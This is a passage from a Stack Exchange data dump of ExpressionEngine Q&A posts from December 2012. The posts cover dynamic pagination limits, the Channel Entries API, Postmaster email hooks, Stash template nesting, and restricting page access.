$images_folder;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images_path = ENV_BASE_PATH . '/' . $images_folder;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this would save you from needing to create EE_SITEX_BASE_PATH etc.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2012-12-19T15:58:14.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1897" PostTypeId="2" ParentId="1895" CreationDate="2012-12-19T16:01:07.583" Score="1" Body="&lt;p&gt;Whoops, i had a spelling error in there, the answer is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;style=&quot;linear&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-12-19T16:01:07.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1898" PostTypeId="2" ParentId="1894" CreationDate="2012-12-19T16:07:29.320" Score="7" Body="&lt;p&gt;DevDemon noted yesterday that the file format for EE has changed with the 2.5.4 release and that they'd be working on an update to Updater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From conversations on Twitter, it looks like EllisLab has changed the format of the the file back, so if you re-download 2.5.4 it should work.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-19T16:07:29.320" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1899" PostTypeId="1" AcceptedAnswerId="1901" CreationDate="2012-12-19T16:13:37.410" Score="5" ViewCount="570" Body="&lt;p&gt;Is it possible to change the limit of a loop, dynamically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using CartThrob for my eCommerce site, and want to add the option to show, 10, 20, 30 or All products on a page. How easy is it to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it require some PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - I want to do a &quot;Showing 1 - 10 of 330 Products&quot;, how could I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2012-12-19T18:10:20.413" Title="Dynamic Entry Limit" Tags="|channel-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1900" PostTypeId="2" ParentId="1262" CreationDate="2012-12-19T16:34:42.420" Score="0" Body="&lt;p&gt;This is a reported bug that has been fixed. The patch can be found here: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/18337&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18337&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2012-12-19T16:34:42.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1901" PostTypeId="2" ParentId="1899" CreationDate="2012-12-19T16:37:16.523" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to change the limit of a loop, dynamically?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Would it require some PHP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can do it without using PHP. Here are two ways that come to mind, but I'm sure there are others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1: Using a segment variable&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following loop for a products listing will set a default limit of 10, but uses &lt;code&gt;segment_2&lt;/code&gt; to set a different limit dynamically.      &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;products&quot;&#xA;    disable=&quot;categories|category_fields|member_data&quot;&#xA;    limit=&quot;{if segment_2 != ''}{segment_2}{/if}{if segment_2 == ''}10{/if}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&#xA;        {title}&amp;lt;br&amp;gt;&#xA;&#xA;        {paginate}&#xA;            &amp;lt;div&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/div&amp;gt;&#xA;        {/paginate}&#xA;&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to allow the user to show a different number of results per page, you just provide some links like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/products/10&quot;&amp;gt;Show 10 results per page&amp;lt;/a&amp;gt; &#xA;&amp;lt;a href=&quot;/products/20&quot;&amp;gt;Show 20 results per page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc (building your links according to your preferences). The pagination will continue to work, but with a different limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2: Using a form, POST data, and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&quot;&gt;Dynamic Parameters&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;products&quot;&#xA;    disable=&quot;categories|category_fields|member_data&quot;&#xA;    limit=&quot;10&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    dynamic_parameters=&quot;limit&quot;&#xA;}&#xA;&#xA;        {title}&amp;lt;br&amp;gt;&#xA;&#xA;        {paginate}&#xA;            &amp;lt;div&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/div&amp;gt;&#xA;        {/paginate}&#xA;&#xA;{/exp:channel:entries} &#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;/products&quot;&amp;gt;&#xA;    &amp;lt;select name=&quot;limit&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;10&quot;&amp;gt;Result Limit:&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;10&quot;&amp;gt;10&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;20&quot;&amp;gt;20&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;30&quot;&amp;gt;30&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Go!&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-19T18:10:20.413" LastActivityDate="2012-12-19T18:10:20.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1902" PostTypeId="2" ParentId="1899" CreationDate="2012-12-19T16:41:33.333" Score="2" Body="&lt;p&gt;Jason,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do this easily by using an embed for your channel entries tag like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First have the link to change the limit number end up placing that number as the last segment by doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/template_group/template/20&quot;&amp;gt;view 20&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create your embed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;store/_embedded_template&quot; my_limit=&quot;{last_segment}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embedded templated your channnel entries tag would look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; limit=&quot;{embed:my_limit}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wish to avoid embeds you can use &lt;a href=&quot;http://leereamsnyder.com/blog/low-variables-230-totally-killed-the-embed-tag&quot; rel=&quot;nofollow&quot;&gt;Low Variables with pre:parse&lt;/a&gt; and set it up essentially the same way.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-19T16:41:33.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1904" PostTypeId="2" ParentId="1161" CreationDate="2012-12-19T17:19:07.727" Score="1" Body="&lt;p&gt;I think you need to wrap the {exp:cartthrob:update_cart_form} tag round the {exp:cartthrob:cart_items_info} and not the other way round :)&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-12-19T17:19:07.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1905" PostTypeId="2" ParentId="1890" CreationDate="2012-12-19T17:23:34.303" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;From what I can gather, I would simply get the field_id from the exp_channel_fields for the relevant relationship channel field that has been created inside EE CP. I would then insert both the pieces of content (the main piece of content and the relating content) into exp_channel_data as usual, then get the entry_id's for both pieces of content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since EE 2 you don't need to worry about this as the Channels Entries API handles it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#submit-new-entry&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#submit-new-entry&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;DB Structure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can do this manually and you are along the right lines. The &lt;code&gt;exp_channel_fields&lt;/code&gt; table contains all the field and settings you configure through the CP, they're grouped by ID as listed in &lt;code&gt;exp_field_groups&lt;/code&gt;. The actual data for each field type of each entry is stored in &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main data for each channel entry is stored across 2 tables (so not categories, member privileges etc). These tables are: &lt;code&gt;exp_channel_titles&lt;/code&gt; and &lt;code&gt;exp_channel_data&lt;/code&gt;. The titles table has all the base information for EE, title, date etc. The data table has all data as defined from your custom fields.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;API&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could write all your own SQL calls or to make things easier use EEs DB class to write your own code get data into EE but the API handles everything for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the docs eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;        'title'         =&amp;gt; 'Breaking News Story!',&#xA;        'entry_date'    =&amp;gt; '1256953732',&#xA;        'edit_date'     =&amp;gt; '1351653729',&#xA;        'field_id_6'    =&amp;gt; 'Some data',&#xA;        'field_ft_6'    =&amp;gt; 'none',&#xA;        'field_id_19'   =&amp;gt; 'More data',&#xA;        'field_ft_19'   =&amp;gt; 'xhtml'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You just need to provide an array of data for the API to insert the entry for you. &lt;code&gt;field_id_6&lt;/code&gt;, where &lt;code&gt;6&lt;/code&gt; is the ID of the field you created in EEs CP and can be found in &lt;code&gt;exp_channel_fields&lt;/code&gt;. This has to be in the expected format for that fieldtype. Again you could query the &lt;code&gt;exp_channel_fields&lt;/code&gt; table to determine which id relates to your named field but it's just as easy to make a note in your custom Add-on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT field_id FROM exp_channel_fields WHERE field_name = 'my_field_name'&quot;);&#xA;if ($query-&amp;gt;num_rows() &amp;gt; 0) $my_field_id = $results-&amp;gt;row('field_id');&#xA;$data = array(&#xA;        'title'         =&amp;gt; 'Breaking News Story!',&#xA;        'entry_date'    =&amp;gt; '1256953732',&#xA;        'edit_date'     =&amp;gt; '1351653729',&#xA;        'field_id_'.$my_field_id    =&amp;gt; 'Some data'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="351" LastActivityDate="2012-12-19T17:23:34.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1906" PostTypeId="1" CreationDate="2012-12-19T17:47:00.977" Score="2" ViewCount="97" Body="&lt;p&gt;I do not see a way yet to do this within EE. But would be a huge time consumer not to mention pain on the front end to manage different custom field names that I want to display using the same field name across multiple category groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could manually create the field for each group with the id of the group appended or something and just swap it in but still that would be a lot of extra work for when all I want a set of custom fields for all category groups similar to how I can use the same channel fields group between multiple channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of a way to handle this without manually creating custom fields for each group would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="601" LastActivityDate="2012-12-19T19:16:36.813" Title="Standard category fields for all cat groups?" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1907" PostTypeId="1" AcceptedAnswerId="1908" CreationDate="2012-12-19T18:40:21.327" Score="7" ViewCount="403" Body="&lt;p&gt;I've just upgraded to Postmaster 1.2, and want to set it up to send emails to new users when their new member accounts are created (but not edited). I'm also using EE 2.5.3 and Profile:Edit 1.0.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a new Hook using the Profile Register End hook, but what are the variables I'm meant to use for the following items?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;New member's username&lt;/li&gt;&#xA;&lt;li&gt;New member's password (as the client insists on sending this)&lt;/li&gt;&#xA;&lt;li&gt;New member's screen name (for use in the To Name field)&lt;/li&gt;&#xA;&lt;li&gt;New member's email address (for use in the To Email field)&lt;/li&gt;&#xA;&lt;li&gt;New member's custom fields (via Profile:Edit tags?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Looking through the &lt;a href=&quot;https://objectivehtml.com/postmaster/hooks&quot;&gt;Postmaster docs&lt;/a&gt;, I can see that the member variables are just for the logged-in user so are of no use for this. It'd be nice to have a full working example to go from as it feels a bit different to creating a standard parcel based on channel entries. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2012-12-19T21:03:51.583" Title="Variables/example for sending a new member their login details using Postmaster" Tags="|add-on|members|email|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1908" PostTypeId="2" ParentId="1907" CreationDate="2012-12-19T19:13:18.863" Score="5" Body="&lt;p&gt;By default the member variables use the logged in member, but the hooks API gives developers  the ability to override that, which Profile:edit does. Each hook inherits the same rules, but they can break them at will. I will try to improve documentation on special exceptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you register or edit a profile, the member data that gets passed to the template is relevant to the one you just created/edited.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{member:username}&#xA;{member:screen_name}&#xA;{member:email}&#xA;{hook:password} (Unencrypted password) &#xA;{member:password} (Encrypted password)&#xA;{hook:your_custom_field}&#xA;{hook:entry_id} (Entry_id of the profile entry)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as the example goes, I am going to work on getting some video tutorials together soon. I spent a lot of time working on the docs, but it's impossible to get everything everyone needs from the start. I know I didn't cover everything. I definitely want to improve this, it just takes a lot of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Be sure to update to Profile:edit v1.0.8. Anything prior to this release does not contain any hooks.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-19T21:03:51.583" LastActivityDate="2012-12-19T21:03:51.583" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1909" PostTypeId="2" ParentId="1906" CreationDate="2012-12-19T19:16:36.813" Score="2" Body="&lt;p&gt;The only solution I can see here is to use &lt;em&gt;channels&lt;/em&gt; as opposed to &lt;em&gt;categories&lt;/em&gt; to handle your taxonomies, then using &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; to associate your actual channel entries with your &quot;categories&quot;. This way you can actually use channel field groups for your category data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you do lose the easy setup of EE's dynamic URLs to filter by category in this case, instead requiring a mixture of Playa &lt;code&gt;entries&lt;/code&gt;, &lt;code&gt;parents&lt;/code&gt; and &lt;code&gt;children&lt;/code&gt; tags, alongside the Channel module's &lt;code&gt;entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-19T19:16:36.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1910" PostTypeId="1" AcceptedAnswerId="1911" CreationDate="2012-12-19T19:29:10.233" Score="8" ViewCount="758" Body="&lt;p&gt;I have a custom plugin that logs into a database each time someone downloads an image. This is achieved through a module installed with my mod files etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin records the current logged-in user who clicks to download, the image they downloaded, and the time/date etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I generate a text-based email that says to the image owner 'Someone from company-a has downloaded the image titled x at 10 am'. It's basic and texty but it does work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, it would be nice to tie this into Postmaster, but I think it requires a custom hook to do so, possibly installed into postmaster.  My question is, how do I call my custom hook from within my module and push information to it so I can use the variables in Postmaster? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tag is currently &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:download:log_download image=&quot;45&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;, which pushes in the image info, the other stuff comes from DB lookups from the owner of said image and also the current member info from sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love to create a parcel in postmaster and pull in the variables and have a nice branded html email as described above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on ee 2.5.3 and postmaster 1.2. Any points in the right direction would be helpful. I have created modules and plugins for client use, but not used any hooks as of yet and need to get my head wrapped around it. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-20T15:41:47.987" Title="Add Postmaster hook to my custom plugin" Tags="|module|email|hook|postmaster|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1911" PostTypeId="2" ParentId="1910" CreationDate="2012-12-19T19:57:15.670" Score="18" Body="&lt;p&gt;Hooks are rather abstract and require you to have a working plugin/module with your own hooks setup. So before you go any further I would be sure you have a good grasp on how to use the most basic forms of hooks. It might be wise to even write a simple extension just to go through the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster extends ExpressionEngine's native handling of hooks. So when you install a hook via Postmaster, you a really installing specialized extension. So knowing that building Postmaster hooks is similar to extensions, this might be worth a read before you get started. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, the process varies and end results vary dramatically from regular extensions, but the logical is very similar.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 1 - Create a hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Create a hook in your plugin. It can pass any data to the hook, just know that any data you pass to the hook can be used within the Postmaster template. Below is a sample hook from my Google Maps for EE add-on. It simply allows devs to alter the POST data each time it is retrieved. In this case, call this hook would pass all the $_POST vars to the Postmaster hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* -------------------------------------------&#xA;/* 'gmap_post' hook.&#xA;/*  - Modify post variables before method executes&#xA;/*  - Added v3.0 */&#xA;&#xA;    $edata = $this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;call('gmap_post', $_POST);          &#xA;&#xA;    if($edata !== NULL) $_POST = $edata;&#xA;&#xA;    if ($this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;end_script === TRUE) return;&#xA;/*&#xA;/* -------------------------------------------*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Step 2. Extend Postmaster's Base_hook class&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Once you have your hook installed in your plugin to do pass whatever data you want, you will want to reference the Base_hook class in Postmaster. &lt;a href=&quot;https://objectivehtml.com/postmaster/api/hooks&quot;&gt;https://objectivehtml.com/postmaster/api/hooks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base_hook allows you to extend the default functionality and inherit all the tools I have provided to make it easy for devs to build these hook. You really only need one method, and that is the &lt;code&gt;trigger()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Gmap_post_postmaster_hook extends Base_hook {&#xA;&#xA;protected $title = 'Gmap Post';&#xA;&#xA;public function __construct()&#xA;{&#xA;    parent::__construct();&#xA;}&#xA;&#xA;public function trigger($_POST)&#xA;{&#xA;    // Your trigger logic&#xA;&#xA;    $vars = array_merge($_POST, array(&#xA;        'var_1' =&amp;gt; 'Some Value 1',&#xA;        'var_2' =&amp;gt; 'Some Value 2',&#xA;        'var_3' =&amp;gt; 'Some Value 3'&#xA;    ));&#xA;&#xA;    return parent::send($vars);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's important to note that parameter passed to the &lt;code&gt;trigger()&lt;/code&gt; method are the same as those that you passed in your hook. So in my example, I passed one parameters, the $_POST array. You could pass as many variables as you want, and they will get passed to the &lt;code&gt;trigger&lt;/code&gt; method in the same fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have created your hook's class, save it in the &lt;strong&gt;system/expressionengine/third_party/postmaster/hooks&lt;/strong&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 3 - Install Hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Once you have create your hook and have it saved, it will appear in the hooks dropdown menu within the Postmater CP. Simply select your hook from the list and create a template. Postmaster will parse all the variables you pass to the template.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Method Reference&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;All the method in the classes are documented in full detail in the API docs. There are A TON of underlying features and capabilities. Pretty much anything is possible. &lt;a href=&quot;https://objectivehtml.com/postmaster/api/hooks&quot;&gt;https://objectivehtml.com/postmaster/api/hooks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-19T20:06:22.547" LastActivityDate="2012-12-19T20:06:22.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1912" PostTypeId="1" AcceptedAnswerId="1977" CreationDate="2012-12-19T20:07:23.513" Score="6" ViewCount="920" Body="&lt;p&gt;I am having so much trouble wrapping my head around Stash and the parse order. I'm trying to clean up my code and work with the DRY principle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my layout and view working and pulling in my main content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck on the nested entries aspect of Stash and was hoping that someone would be able to help me out or point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Stash doesn't not allow embeds but I don't know how to work within the system to accomplish what I did previously with only embeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Necessarily there will be more than one blog entry and almost always more than one related author id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_layouts/_index&quot;}&#xA;&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;5&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;}&#xA;&amp;lt;h3 id=&quot;{url_title}&quot; class=&quot;article-title&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;{blog_entries_body}&#xA;&amp;lt;div class=&quot;related-author clearfix&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;            {embed=&quot;_widgets/_related_author&quot; entry_ids=&quot;{blog_entries_author:child_ids}&quot;}&#xA;            &amp;lt;li class=&quot;pub-date&quot;&amp;gt;{blog_entries_publish_date format=&quot;%F %j, %Y&quot;}&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;contributors&quot; fixed_order=&quot;0|{embed:entry_ids}&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;}&#xA;    &amp;lt;li class=&quot;bio-name&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="357" LastEditorUserId="357" LastEditDate="2012-12-19T21:45:53.740" LastActivityDate="2012-12-20T19:42:28.130" Title="Nesting channel entries in Stash" Tags="|stash|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1913" PostTypeId="1" AcceptedAnswerId="1919" CreationDate="2012-12-19T20:27:55.260" Score="5" ViewCount="122" Body="&lt;p&gt;I've been asked to add a CMS to an existing Cake PHP driven site. Cake PHP doesn't appear to drive much of the site outside of URL structure, templates and forms (there is no content management).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client doesn't want to convert the entire site to ExpressionEngine all at once due to cost constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing CakePHP probably routes everything through index.php like EE does, so I'm wondering if it's possible to run them side by side? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose on approach would be to run the ExpressionEngine portion on a sub domain. Are there any other approaches?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anson&lt;/p&gt;&#xA;" OwnerUserId="1000" LastEditorUserId="28" LastEditDate="2012-12-20T17:05:02.230" LastActivityDate="2012-12-20T17:05:02.230" Title="Is it possible to run ExpressionEngine along side a Cake PHP site?" Tags="|php|settings|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1914" PostTypeId="1" CreationDate="2012-12-19T20:32:27.837" Score="3" ViewCount="918" Body="&lt;p&gt;I have a page I want to share with specific group of users. I'm thinking the best way to keep it exclusive is to keep it out of search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or suggestions?&lt;/p&gt;&#xA;" OwnerUserId="340" LastActivityDate="2012-12-20T15:07:01.097" Title="How do you a hide a page from search engine results in EE?" Tags="|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1915" PostTypeId="2" ParentId="1914" CreationDate="2012-12-19T20:43:28.437" Score="5" Body="&lt;p&gt;If you set this in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; to stop any search engines crawling it &lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-12-19T20:43:28.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1916" PostTypeId="2" ParentId="1914" CreationDate="2012-12-19T21:06:25.057" Score="3" Body="&lt;p&gt;You can use EE's native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/template_access.html&quot; rel=&quot;nofollow&quot;&gt;template access permissions&lt;/a&gt; to restrict access to a template to members of one or more member groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure this on a per template basis via the template manager in the Control Panel. You can set a template to redirect requests for that template to if they do not come from a logged in member of a permitted group (to a login page, say).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relying on robots.txt/meta robots is not a good idea as it relies on search engines honnoring your intent. There is no way of enforcing/ensuring that they do so with this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need per entry control, or member level control rather than at the member group level, then have a look at the (commercial but very reasonably priced) &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;Entry Access&lt;/a&gt; add on.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-20T15:07:01.097" LastActivityDate="2012-12-20T15:07:01.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
